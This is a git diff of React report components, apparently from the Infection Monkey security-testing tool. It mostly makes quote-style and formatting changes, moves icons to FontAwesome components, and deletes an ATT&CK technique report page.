b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js @@ -1,5 +1,5 @@ -import React, {Component, Fragment} from "react"; -import * as PropTypes from "prop-types"; +import React, {Component, Fragment} from 'react'; +import * as PropTypes from 'prop-types'; export default class SecurityIssuesGlance extends Component { render() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js deleted file mode 100644 index 13f9cd92e..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js +++ /dev/null @@ -1,200 +0,0 @@ -import React from 'react'; -import {Col} from 'react-bootstrap'; -import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import '../../../styles/Collapse.scss'; -import AuthComponent from '../../AuthComponent'; -import {ScanStatus} from "../../attack/techniques/Helpers"; -import Collapse from '@kunukn/react-collapse'; - -import T1210 from '../../attack/techniques/T1210'; -import T1197 from '../../attack/techniques/T1197'; -import T1110 from '../../attack/techniques/T1110'; -import T1075 from "../../attack/techniques/T1075"; -import T1003 from "../../attack/techniques/T1003"; -import T1059 from "../../attack/techniques/T1059"; -import T1086 from "../../attack/techniques/T1086"; -import T1082 from "../../attack/techniques/T1082"; -import T1145 from "../../attack/techniques/T1145"; -import T1105 from "../../attack/techniques/T1105"; -import T1107 from "../../attack/techniques/T1107"; -import T1065 from "../../attack/techniques/T1065"; -import T1035 from "../../attack/techniques/T1035"; -import T1129 from "../../attack/techniques/T1129"; -import T1106 from "../../attack/techniques/T1106"; -import T1188 from "../../attack/techniques/T1188"; -import T1090 from "../../attack/techniques/T1090"; -import T1041 from "../../attack/techniques/T1041"; -import T1222 from "../../attack/techniques/T1222"; -import T1005 from "../../attack/techniques/T1005"; -import T1018 from "../../attack/techniques/T1018"; -import T1016 from "../../attack/techniques/T1016"; -import T1021 from "../../attack/techniques/T1021"; -import T1064 from "../../attack/techniques/T1064"; -import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus"; - -const tech_components = { - 'T1210': T1210, - 'T1197': T1197, - 'T1110': T1110, - 'T1075': T1075, - 'T1003': T1003, - 'T1059': T1059, - 'T1086': T1086, - 'T1082': T1082, - 'T1145': T1145, - 'T1065': T1065, - 'T1105': T1105, - 'T1035': T1035, - 'T1129': T1129, - 'T1106': T1106, - 'T1107': T1107, - 'T1188': T1188, - 'T1090': T1090, - 'T1041': T1041, - 'T1222': T1222, - 'T1005': T1005, - 'T1018': T1018, - 'T1016': T1016, - 'T1021': T1021, - 'T1064': T1064 -}; - -const classNames = require('classnames'); - -class AttackReportPageComponent extends AuthComponent { - - constructor(props) { - super(props); - this.state = { - report: false, - allMonkeysAreDead: false, - runStarted: true, - collapseOpen: '' - }; - } - - componentDidMount() { - this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); - } - - updateMonkeysRunning = () => { - return this.authFetch('/api') - .then(res => res.json()) - .then(res => { - this.setState(extractExecutionStatusFromServerResponse(res)); - return res; - }); - }; - - getReportFromServer(res) { - if (res['completed_steps']['run_monkey']) { - this.authFetch('/api/attack/report') - .then(res => res.json()) - .then(res => { - this.setState({ - report: res - }); - }); - } - } - - onToggle = technique => - this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique })); - - getComponentClass(tech_id){ - switch (this.state.report[tech_id].status) { - case ScanStatus.SCANNED: - return 'collapse-info'; - case ScanStatus.USED: - return 'collapse-danger'; - default: - return 'collapse-default'; - } - } - - getTechniqueCollapse(tech_id){ - return ( - <div key={tech_id} className={classNames("collapse-item", { "item--active": this.state.collapseOpen === tech_id })}> - <button className={classNames("btn-collapse", this.getComponentClass(tech_id))} onClick={() => this.onToggle(tech_id)}> - <span>{this.state.report[tech_id].title}</span> - <span> - <i className={classNames("fa", this.state.collapseOpen === tech_id ? "fa-chevron-down" : "fa-chevron-up")}></i> - </span> - </button> - <Collapse - className="collapse-comp" - isOpen={this.state.collapseOpen === tech_id} - onChange={({ collapseState }) => { - this.setState({ tech_id: collapseState }); - }} - onInit={({ collapseState }) => { - this.setState({ tech_id: collapseState }); - }} - render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/> - </div> - ); - } - - createTechniqueContent(collapseState, technique) { - const TechniqueComponent = tech_components[technique]; - return ( - <div className={`content ${collapseState}`}> - <TechniqueComponent data={this.state.report[technique]} reportData={this.props.reportData}/> - </div> - ); - } - - renderLegend() { - return( <div id="header" className="row justify-content-between attack-legend"> - <Col xs={4}> - <i className="fa fa-circle icon-default"></i> - <span> - Unscanned</span> - </Col> - <Col xs={4}> - <i className="fa fa-circle icon-info"></i> - <span> - Scanned</span> - </Col> - <Col xs={4}> - <i className="fa fa-circle icon-danger"></i> - <span> - Used</span> - </Col> - </div>) - } - - generateReportContent(){ - let content = []; - Object.keys(this.state.report).forEach((tech_id) => { - content.push(this.getTechniqueCollapse(tech_id)) - }); - return ( - <div> - {this.renderLegend()} - <section className="attack-report">{content}</section> - </div> - ) - } - - render() { - let content; - if (! this.state.runStarted) - { - content = - <p className="alert alert-warning"> - <i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/> - You have to run a monkey before generating a report! - </p>; - } else if (this.state.report === false){ - content = (<h1>Generating Report...</h1>); - } else if (Object.keys(this.state.report).length === 0) { - if (this.state.runStarted) { - content = (<h1>No techniques were scanned</h1>); - } - } else { - content = this.generateReportContent(); - } - return ( <div> {content} </div> ); - } -} - -export default AttackReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js index 16f445ce9..4eeb1f971 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js @@ -1,12 +1,12 @@ import React from 'react'; import ReactTable from 'react-table' -let renderArray = function(val) { +let renderArray = function (val) { return <div>{val.map(x => <div>{x}</div>)}</div>; }; let renderIpAddresses = function (val) { - return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>; + return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')} </div>; }; const columns = [ @@ -14,10 +14,12 @@ const columns = [ Header: 'Breached Servers', columns: [ {Header: 'Machine', accessor: 'label'}, - {Header: 'IP Addresses', id: 'ip_addresses', - accessor: x => renderIpAddresses(x)}, + { + Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderIpAddresses(x) + }, {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} - ] + ] } ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js index ea39e3c45..b0fe5fa9e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js @@ -1,12 +1,12 @@ import React from 'react'; import ReactTable from 'react-table' -let renderArray = function(val) { +let renderArray = function (val) { return <span>{val.map(x => <span key={x}> {x}</span>)}</span>; }; let renderIpAddresses = function (val) { - return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>; + return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')} </span>; }; let renderMachine = function (data) { @@ -14,37 +14,37 @@ let renderMachine = function (data) { }; let renderPbaResults = function (results) { - let pbaClass = ""; - if (results[1]){ - pbaClass="pba-success" + let pbaClass = ''; + if (results[1]) { + pbaClass = 'pba-success' } else { - pbaClass="pba-danger" + pbaClass = 'pba-danger' } return <div className={pbaClass}> {results[0]} </div> }; const subColumns = [ - {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160}, - {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} + {id: 'pba_name', Header: 'Name', accessor: x => x.name, style: {'whiteSpace': 'unset'}, width: 160}, + {id: 'pba_output', Header: 'Output', accessor: x => renderPbaResults(x.result), style: {'whiteSpace': 'unset'}} ]; let renderDetails = function (data) { let defaultPageSize = data.length > pageSize ? pageSize : data.length; let showPagination = data.length > pageSize; return <ReactTable - data={data} - columns={subColumns} - defaultPageSize={defaultPageSize} - showPagination={showPagination} - style={{"backgroundColor": "#ededed"}} - /> + data={data} + columns={subColumns} + defaultPageSize={defaultPageSize} + showPagination={showPagination} + style={{'backgroundColor': '#ededed'}} + /> }; const columns = [ { Header: 'Post breach actions', columns: [ - {id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)} + {id: 'pba_machine', Header: 'Machine', accessor: x => renderMachine(x)} ] } ]; @@ -57,8 +57,8 @@ class PostBreachComponent extends React.Component { } render() { - let pbaMachines = this.props.data.filter(function(value, index, arr){ - return ( value.pba_results !== "None" && value.pba_results.length > 0); + let pbaMachines = this.props.data.filter(function (value) { + return (value.pba_results !== 'None' && value.pba_results.length > 0); }); let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length; let showPagination = pbaMachines > pageSize; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js index 57418e415..7a4495da3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js @@ -1,23 +1,25 @@ import React from 'react'; import ReactTable from 'react-table' -let renderArray = function(val) { +let renderArray = function (val) { return <div>{val.map(x => <div>{x}</div>)}</div>; }; let renderIpAddresses = function (val) { - return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>; + return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')} </div>; }; const columns = [ { Header: 'Scanned Servers', columns: [ - { Header: 'Machine', accessor: 'label'}, - { Header: 'IP Addresses', id: 'ip_addresses', - accessor: x => renderIpAddresses(x)}, - { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, - { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} + {Header: 'Machine', accessor: 'label'}, + { + Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderIpAddresses(x) + }, + {Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, + {Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} ] } ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js index fde46f85a..25a701871 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js @@ -5,9 +5,9 @@ const columns = [ { Header: 'Stolen Credentials', columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Type', accessor: 'type'}, - { Header: 'Stolen From', accessor: 'origin'} + {Header: 'Username', accessor: 'username'}, + {Header: 'Type', accessor: 'type'}, + {Header: 'Stolen From', accessor: 'origin'} ] } ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js index a8f045479..2c2a79c07 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js @@ -1,7 +1,7 @@ import React from 'react'; import ReactTable from 'react-table' -let renderArray = function(val) { +let renderArray = function (val) { console.log(val); return <div>{val.map(x => <div>{x}</div>)}</div>; }; @@ -10,9 +10,9 @@ const columns = [ { Header: 'Powerful Users', columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} + {Header: 'Username', accessor: 'username'}, + {Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, + {Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} ] } ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 761ff94a9..08c83babd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -1,7 +1,10 @@ -import React, {Component, Fragment} from "react"; -import EventsModal from "./EventsModal"; -import {Badge, Button} from "react-bootstrap"; -import * as PropTypes from "prop-types"; +import React, {Component, Fragment} from 'react'; +import EventsModal from './EventsModal'; +import {Badge, Button} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faList } from '@fortawesome/free-solid-svg-icons'; export default class EventsButton extends Component { constructor(props) { @@ -21,23 +24,23 @@ export default class EventsButton extends Component { render() { return <Fragment> - <EventsModal events={this.props.events} showEvents={this.state.isShow} hideCallback={this.hide} - exportFilename={this.props.exportFilename}/> - <div className="text-center" style={{"display": "grid"}}> - <Button className="btn btn-primary btn-lg" onClick={this.show}> - <i className="fa fa-list"/> Events {this.createEventsAmountBadge()} - </Button> - </div> + <EventsModal events={this.props.events} showEvents={this.state.isShow} hideCallback={this.hide} + exportFilename={this.props.exportFilename}/> + <div className="text-center" style={{'display': 'grid'}}> + <Button className="btn btn-primary btn-lg" onClick={this.show}> + <FontAwesomeIcon icon={faList}/> Events {this.createEventsAmountBadge()} + </Button> + </div> </Fragment>; } createEventsAmountBadge() { - const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length; + const eventsAmountBadgeContent = this.props.events.length > 9 ? '9+' : this.props.events.length; return <Badge>{eventsAmountBadgeContent}</Badge>; } } EventsButton.propTypes = { events: PropTypes.array, - exportFilename: PropTypes.string, + exportFilename: PropTypes.string }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js index a7f2fe41c..6ee69c717 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -1,11 +1,11 @@ -import React, {Component} from "react"; -import {Badge, Modal} from "react-bootstrap"; -import EventsTimeline from "./EventsTimeline"; -import * as PropTypes from "prop-types"; -import saveJsonToFile from "../../utils/SaveJsonToFile"; -import EventsModalButtons from "./EventsModalButtons"; +import React, {Component} from 'react'; +import {Badge, Modal} from 'react-bootstrap'; +import EventsTimeline from './EventsTimeline'; +import * as PropTypes from 'prop-types'; +import saveJsonToFile from '../../utils/SaveJsonToFile'; +import EventsModalButtons from './EventsModalButtons'; import Pluralize from 'pluralize' -import {statusToLabelType} from "./StatusLabel"; +import {statusToLabelType} from './StatusLabel'; export default class EventsModal extends Component { constructor(props) { @@ -20,9 +20,11 @@ export default class EventsModal extends Component { <h3> <div className="text-center">Events</div> </h3> - <hr /> + <hr/> <p> - There {Pluralize('is', this.props.events.length)} {<div className={"label label-primary"}>{this.props.events.length}</div>} {Pluralize('event', this.props.events.length)} associated with this finding. + There {Pluralize('is', this.props.events.length)} {<div + className={'label label-primary'}>{this.props.events.length}</div>} {Pluralize('event', this.props.events.length)} associated + with this finding. </p> {this.props.events.length > 5 ? this.renderButtons() : null} <EventsTimeline events={this.props.events}/> @@ -47,5 +49,5 @@ export default class EventsModal extends Component { EventsModal.propTypes = { showEvents: PropTypes.bool, events: PropTypes.array, - hideCallback: PropTypes.func, + hideCallback: PropTypes.func }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js index 962c54893..1e6169ebb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js @@ -1,6 +1,6 @@ -import React, {Component} from "react"; -import ExportEventsButton from "./ExportEventsButton"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import ExportEventsButton from './ExportEventsButton'; +import * as PropTypes from 'prop-types'; export default class EventsModalButtons extends Component { render() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index b7fb90811..04b10f333 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -1,13 +1,13 @@ -import React, {Component} from "react"; -import {Timeline, TimelineEvent} from "react-event-timeline"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import {Timeline, TimelineEvent} from 'react-event-timeline'; +import * as PropTypes from 'prop-types'; let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg'); let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg'); const eventTypeToIcon = { - "monkey_local": monkeyLocalIcon, - "monkey_network": monkeyNetworkIcon, + 'monkey_local': monkeyLocalIcon, + 'monkey_network': monkeyNetworkIcon }; export default class EventsTimeline extends Component { @@ -22,8 +22,8 @@ export default class EventsTimeline extends Component { key={index} createdAt={event_time} title={event.title} - icon={<img src={eventTypeToIcon[event.event_type]} alt="icon" style={{width: '24px'}} />}> - {event.message} + icon={<img src={eventTypeToIcon[event.event_type]} alt="icon" style={{width: '24px'}}/>}> + {event.message} </TimelineEvent>) }) } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js index bb6fc6c45..11b47a86f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js @@ -1,13 +1,16 @@ -import React, {Component} from "react"; -import {Button} from "react-bootstrap"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import {Button} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faDownload } from '@fortawesome/free-solid-svg-icons'; export default class ExportEventsButton extends Component { render() { return <Button className="btn btn-primary btn-lg" onClick={this.props.onClick} > - <i className="fa fa-download"/> Export + <FontAwesomeIcon icon={faDownload}/> Export </Button> } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index 95b9d0389..5ae25eb2b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -1,8 +1,8 @@ -import React, {Component, Fragment} from "react"; -import PillarLabel from "./PillarLabel"; -import EventsButton from "./EventsButton"; -import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars"; -import {FindingsTable} from "./FindingsTable"; +import React, {Component, Fragment} from 'react'; +import PillarLabel from './PillarLabel'; +import EventsButton from './EventsButton'; +import ZeroTrustPillars, {ZeroTrustStatuses} from './ZeroTrustPillars'; +import {FindingsTable} from './FindingsTable'; class FindingsSection extends Component { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index acff1df89..50a5c2914 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -1,9 +1,9 @@ -import React, {Component, Fragment} from "react"; -import StatusLabel from "./StatusLabel"; -import PaginatedTable from "../common/PaginatedTable"; -import * as PropTypes from "prop-types"; -import PillarLabel from "./PillarLabel"; -import EventsButton from "./EventsButton"; +import React, {Component, Fragment} from 'react'; +import StatusLabel from './StatusLabel'; +import PaginatedTable from '../common/PaginatedTable'; +import * as PropTypes from 'prop-types'; +import PillarLabel from './PillarLabel'; +import EventsButton from './EventsButton'; const EVENTS_COLUMN_MAX_WIDTH = 160; const PILLARS_COLUMN_MAX_WIDTH = 200; @@ -16,25 +16,25 @@ const columns = [ }, { - Header: 'Events', id: "events", + Header: 'Events', id: 'events', accessor: x => { - return <EventsButton events={x.events} exportFilename={"Events_" + x.test_key}/>; + return <EventsButton events={x.events} exportFilename={'Events_' + x.test_key}/>; }, - maxWidth: EVENTS_COLUMN_MAX_WIDTH, + maxWidth: EVENTS_COLUMN_MAX_WIDTH }, { - Header: 'Pillars', id: "pillars", + Header: 'Pillars', id: 'pillars', accessor: x => { const pillars = x.pillars; const pillarLabels = pillars.map((pillar) => <PillarLabel key={pillar.name} pillar={pillar.name} status={pillar.status}/> ); - return <div style={{textAlign: "center"}}>{pillarLabels}</div>; + return <div style={{textAlign: 'center'}}>{pillarLabels}</div>; }, maxWidth: PILLARS_COLUMN_MAX_WIDTH, style: {'whiteSpace': 'unset'} - }, + } ] } ]; @@ -43,7 +43,7 @@ const columns = [ export class FindingsTable extends Component { render() { return <Fragment> - <h3>{<span style={{display: "inline-block"}}><StatusLabel status={this.props.status} showText={true}/> + <h3>{<span style={{display: 'inline-block'}}><StatusLabel status={this.props.status} showText={true}/> </span>} tests' findings</h3> <PaginatedTable data={this.props.data} pageSize={10} columns={columns}/> </Fragment> diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index 51c5ca380..b4a26f1a0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -1,25 +1,29 @@ -import React, {Component} from "react"; -import {statusToLabelType} from "./StatusLabel"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import {statusToLabelType} from './StatusLabel'; +import * as PropTypes from 'prop-types'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faDatabase, faUser, faWifi, faCloud, faLaptop, faEyeSlash, faCogs } from '@fortawesome/free-solid-svg-icons'; const pillarToIcon = { - "Data": "fa fa-database", - "People": "fa fa-user", - "Networks": "fa fa-wifi", - "Workloads": "fa fa-cloud", - "Devices": "fa fa-laptop", - "Visibility & Analytics": "fa fa-eye-slash", - "Automation & Orchestration": "fa fa-cogs", + 'Data': faDatabase, + 'People': faUser, + 'Networks': faWifi, + 'Workloads': faCloud, + 'Devices': faLaptop, + 'Visibility & Analytics': faEyeSlash, + 'Automation & Orchestration': faCogs }; export default class PillarLabel extends Component { render() { - const className = "label " + statusToLabelType[this.props.status]; - return <div className={className} style={{margin: '2px', display: 'inline-block'}}><i className={pillarToIcon[this.props.pillar]}/> {this.props.pillar}</div> + const className = 'label ' + statusToLabelType[this.props.status]; + return <div className={className} style={{margin: '2px', display: 'inline-block'}}> + <FontAwesomeIcon icon={pillarToIcon[this.props.pillar]}/> {this.props.pillar}</div> } } PillarLabel.propTypes = { status: PropTypes.string, - pillar: PropTypes.string, + pillar: PropTypes.string }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index 7cefcab61..0b33702f4 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -1,6 +1,6 @@ -import React, {Component} from "react"; -import * as PropTypes from "prop-types"; -import ResponsiveVennDiagram from "./venn-components/ResponsiveVennDiagram"; +import React, {Component} from 'react'; +import * as PropTypes from 'prop-types'; +import ResponsiveVennDiagram from './venn-components/ResponsiveVennDiagram'; class PillarOverview extends Component { render() { @@ -13,5 +13,5 @@ class PillarOverview extends Component { export default PillarOverview; PillarOverview.propTypes = { - grades: PropTypes.array, + grades: PropTypes.array }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js index bb957d42d..4632bd500 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js @@ -1,6 +1,6 @@ -import React, {Component} from "react"; -import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import SinglePillarPrinciplesStatus from './SinglePillarPrinciplesStatus'; +import * as PropTypes from 'prop-types'; export default class PrinciplesSection extends Component { render() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js index b50ee0c28..6b1d22f6f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js @@ -1,28 +1,31 @@ -import React, {Fragment} from "react"; -import PaginatedTable from "../common/PaginatedTable"; -import AuthComponent from "../../AuthComponent"; -import StatusLabel from "./StatusLabel"; -import * as PropTypes from "prop-types"; -import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import React, {Fragment} from 'react'; +import PaginatedTable from '../common/PaginatedTable'; +import AuthComponent from '../../AuthComponent'; +import StatusLabel from './StatusLabel'; +import * as PropTypes from 'prop-types'; +import {ZeroTrustStatuses} from './ZeroTrustPillars'; const MAX_WIDTH_STATUS_COLUMN = 80; const columns = [ { columns: [ - { Header: 'Status', id: 'status', + { + Header: 'Status', id: 'status', accessor: x => { - return <StatusLabel status={x.status} size="fa-3x" showText={false} />; + return <StatusLabel status={x.status} size="3x" showText={false}/>; }, maxWidth: MAX_WIDTH_STATUS_COLUMN }, - { Header: 'Zero Trust Principle', accessor: 'principle', + { + Header: 'Zero Trust Principle', accessor: 'principle', style: {'whiteSpace': 'unset'} // This enables word wrap }, - { Header: 'Monkey Tests', id: 'tests', + { + Header: 'Monkey Tests', id: 'tests', style: {'whiteSpace': 'unset'}, // This enables word wrap accessor: x => { - return <TestsStatus tests={x.tests} />; + return <TestsStatus tests={x.tests}/>; } } ] diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 5ef75f2b4..2d74b9487 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -1,8 +1,11 @@ -import React, {Component} from "react"; -import StatusLabel from "./StatusLabel"; -import {ZeroTrustStatuses} from "./ZeroTrustPillars"; -import {NavLink} from "react-router-dom"; -import {Panel} from "react-bootstrap"; +import React, {Component} from 'react'; +import StatusLabel from './StatusLabel'; +import {ZeroTrustStatuses} from './ZeroTrustPillars'; +import {NavLink} from 'react-router-dom'; +import {Panel} from 'react-bootstrap'; + +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faChevronDown } from '@fortawesome/free-solid-svg-icons'; class ZeroTrustReportLegend extends Component { @@ -13,7 +16,7 @@ class ZeroTrustReportLegend extends Component { <Panel> <Panel.Heading> <Panel.Title toggle> - <h3><i className="fa fa-chevron-down" /> Legend</h3> + <h3><FontAwesomeIcon icon={faChevronDown} /> Legend</h3> </Panel.Title> </Panel.Heading> <Panel.Collapse> @@ -27,30 +30,32 @@ class ZeroTrustReportLegend extends Component { getLegendContent() { return <div id={this.constructor.name}> - <ul style={{listStyle: "none"}}> + <ul style={{listStyle: 'none'}}> <li> - <div style={{display: "inline-block"}}> + <div style={{display: 'inline-block'}}> <StatusLabel showText={true} status={ZeroTrustStatuses.failed}/> </div> - {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement. + {'\t'}At least one of the tests related to this component failed. This means that the Infection Monkey detected an + unmet Zero Trust requirement. </li> <li> - <div style={{display: "inline-block"}}> + <div style={{display: 'inline-block'}}> <StatusLabel showText={true} status={ZeroTrustStatuses.verify}/> </div> - {"\t"}At least one of the tests’ results related to this component requires further manual verification. + {'\t'}At least one of the tests’ results related to this component requires further manual verification. </li> <li> - <div style={{display: "inline-block"}}> + <div style={{display: 'inline-block'}}> <StatusLabel showText={true} status={ZeroTrustStatuses.passed}/> </div> - {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected. + {'\t'}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected. </li> <li> - <div style={{display: "inline-block"}}> + <div style={{display: 'inline-block'}}> <StatusLabel showText={true} status={ZeroTrustStatuses.unexecuted}/> </div> - {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey <NavLink to="/configuration"><u>configuration</u></NavLink> page. + {'\t'}This status means the test wasn't executed.To activate more tests, refer to the Monkey <NavLink + to="/configuration"><u>configuration</u></NavLink> page. </li> </ul> 